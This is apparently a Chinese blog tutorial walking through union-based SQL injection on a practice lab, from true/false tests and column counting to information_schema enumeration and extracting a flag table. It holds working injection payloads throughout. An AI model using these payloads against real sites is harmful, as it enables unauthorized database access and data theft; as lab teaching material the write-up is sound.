顯錯注入(一)

顯錯注入(一)
注入環境: http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1
SQL注入原理解析以及舉例1
  sql注入是指web應用程序對用戶輸入數據的合法性沒有判斷,
導致攻擊者可以構造不同的sql語句來實現對數據庫的操作。
  sql注入漏洞產生滿足條件:
    1;用戶能夠控制數據的輸入。
    2;原本需要執行的代碼,拼接了用戶的輸入。
 舉例:
  注意:下面測試環境使用封神臺免費靶場。可以從下面鏈接進入:https://hack.zkaq.org/?a=battle。
  攻擊流程:
    1;判斷是否存在sql注入漏洞。
    2;判斷網頁存在字段數。
    3;判斷回顯點。
    4;獲取信息。
  測試開始:
    測試目標獲取管理員賬號密碼
    一;判斷是否存在sql注入漏洞。
沒注入前
在這裏插入圖片描述
一,判斷是否存在sql注入漏洞
1 and 1=2
在傳參(?id=1) 後面添加 and 1=2,查看頁面
?id=1 and 1=2 查看頁面是否正常。結果頁面顯示不正常。
##########################################################################
註釋:因爲id=1爲真(可正常訪問頁面),且1=2爲假,所以and條件永遠不會成立。
對於web應用不會返回結果給用戶。則攻擊者能看到的是一個錯誤的界面或者頁面結果爲空。
當然,如果攻擊者構造的請求異常,也會導致頁面訪問不正常。
在這裏插入圖片描述
1.2 1=1
確定是否存在語句邏輯錯誤導致頁面不正常。?id=1 and 1=1 結果返回正常,初步判斷存在sql漏洞
 註釋:1=1 爲真,and條件語句成立。

在這裏插入圖片描述
2.1;
構建sql語句:?id=1 and 1=1 order by 1
判斷網頁是否正常
這裏我們嘗試到?id=1 and 1=1 order by 4報錯

在這裏插入圖片描述
可以判斷到字段數爲3(?id=1 and 1=1 order by 3)
在這裏插入圖片描述
三;判斷回顯點
構建sql語句:?id=1 and 1=2 union select 1,2,3 (之後查詢結果顯示在下圖紅框位置)
在這裏插入圖片描述
四;獲取信息
4.1;查看當前數據庫庫名以及數據庫版本
構建sql語句:?id=1 and 1=2 union select 1,database(),version()
############################################################################
註釋:union select 1 ,database(),其中數字1佔一列,湊數,用來滿足union定義。database():表示網站使用的數據庫,version():表示當前mysql的版本,usr():當前mysql的用戶。
在這裏插入圖片描述
4.2;查詢當前數據庫以及表名稱
構建sql語句:?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
#################################################################################
 註釋:information_schema數據庫用於存儲數據庫元數據,例如:數據庫名,表名,列的數據類型,訪問權限等(這裏我們使用的時候就打 information_schema.tables)。tables用來存儲數據庫中的表的信息,包括表屬於哪個數據庫,表的類型,存儲引擎,創建時間等。table_schema和table_schema是表tables中的數據庫庫名和表名。limit 0,1 表示第一行顯示一行數據。limit 1,1表示第二行顯示一行數據。
在這裏插入圖片描述
這裏是user哦
在這裏插入圖片描述
4.2;查詢當前數據庫以及表名稱(方法二)
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
########################################################################
註釋:group_concat()函數是把選中列名,在一行輸出,如下圖

在這裏插入圖片描述
在這裏插入圖片描述
4.3;查詢表error_flag中的字段名,查詢到2個字段 flag Id
構建SQL語句: ?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ limit 0,1
構建SQL語句: ?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ limit 1,1
在這裏插入圖片描述
這是Id哦
在這裏插入圖片描述
4.3;查詢表error_flag中的字段名,查詢到2個字段 flag Id(方法二)
我們還是用group_concat()函數在一行輸出

?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘error_flag’
在這裏插入圖片描述
4.4;查詢字段值
既然我們明確了表和字段,那麼現在就來查詢值就奧利給了
這裏我
?id=1 and 1=2 union select 1,2,flag from error_flag
在這裏插入圖片描述

?id=1 and 1=2 union select 1,2,flag from error_flag limit 0,1
?id=1 and 1=2 union select 1,2,flag from error_flag limit 1,1
?id=1 and 1=2 union select 1,2,flag from error_flag limit 2,1
?id=1 and 1=2 union select 1,2,flag from error_flag limit 3,1
這裏只是指定的位置變了,自己改下limit函數的數值就可以了,這裏就不多展示了,
到這裏我們的flag就拿到了,不過還有方法二
在這裏插入圖片描述
4.4;查詢字段值(方法二)
既然我們明確了表和字段,那麼現在就來查詢值就奧利給了
?id=1 and 1=2 union select 1,2,group_concat(Id,flag) from error_flag
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章